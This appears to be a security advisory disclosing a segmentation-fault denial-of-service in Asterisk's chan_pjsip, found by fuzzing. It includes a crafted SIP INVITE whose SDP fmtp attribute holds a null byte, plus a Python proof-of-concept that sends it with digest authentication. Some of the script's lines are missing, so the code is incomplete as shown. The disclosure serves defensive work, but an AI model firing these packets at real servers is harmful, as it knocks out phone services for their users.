## Description

A specially crafted SDP message body with an invalid fmtp attribute causes a
segmentation fault in asterisk using `chan_pjsip`.


## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when
`chan_pjsip` is in use.


## How to reproduce the issue

The following SIP message was used to reproduce the issue:

```
INVITE sip:5678@127.0.0.1:5060 SIP/2.0
To: <sip:5678@127.0.0.1:5060>
From: Test <sip:5678@127.0.0.1:5060>
Call-ID: adc9caea-2d0a-40af-9de5-1dd21387e03a
CSeq: 2 INVITE
Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bKadc9caea-2d0a-40af-9de5-1dd21387e03a
Contact: <sip:5678@172.17.0.1>
Content-Type: application/sdp
Content-Length: 228

v=0
o=- 1061502179 1061502179 IN IP4 172.17.0.1
s=Asterisk
c=IN IP4 172.17.0.1
t=0 0
m=audio 17000 RTP/AVP 9 0 101
a=rtpmap:8 alaw/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp\x00:101 0-16
a=sendrecv
```

Notes: 

- `\x00` should be replaced by the null character
- authentication may be required 
- the destination SIP address should match a valid extension in the dialplan.

To facilitate this process we wrote the following python program to reproduce this issue:

```python
import socket
import re
import md5
import uuid

SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
UDP_IP = "0.0.0.0"
UDP_PORT = 13940
USERNAME = "5678"
PASSWORD = "5678"
INVITE_USERNAME = "5678"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

callid = str(uuid.uuid4())

sdpbody = "v=0\r\no=- 1061502179 1061502179 IN IP4 172.17.0.1\r\n" \

        callid, callid,
        USERNAME, len(sdpbody)
        ) + \
    sdpbody

sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT))

data, addr = sock.recvfrom(10240)

if data.startswith("SIP/2.0 401"):
    for line in data.split('\r\n'):
        if line.startswith("WWW-Authenticate"):
            content = line.split(':', 2)[1].strip()
            realm = re.search("realm=\"([a-z]+)\"", content).group(1)
            nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
            ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
            uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
            ha2 = md5.new("INVITE:" + uri).hexdigest()
            r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

            auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
                "realm=\"%s\"," % (realm) + \
                "nonce=\"%s\"," % (nonce) + \
                "uri=\"%s\"," % (uri) + \
                "response=\"%s\"," % (r) + \
                "algorithm=md5\r\n"

sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT))
```

This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.
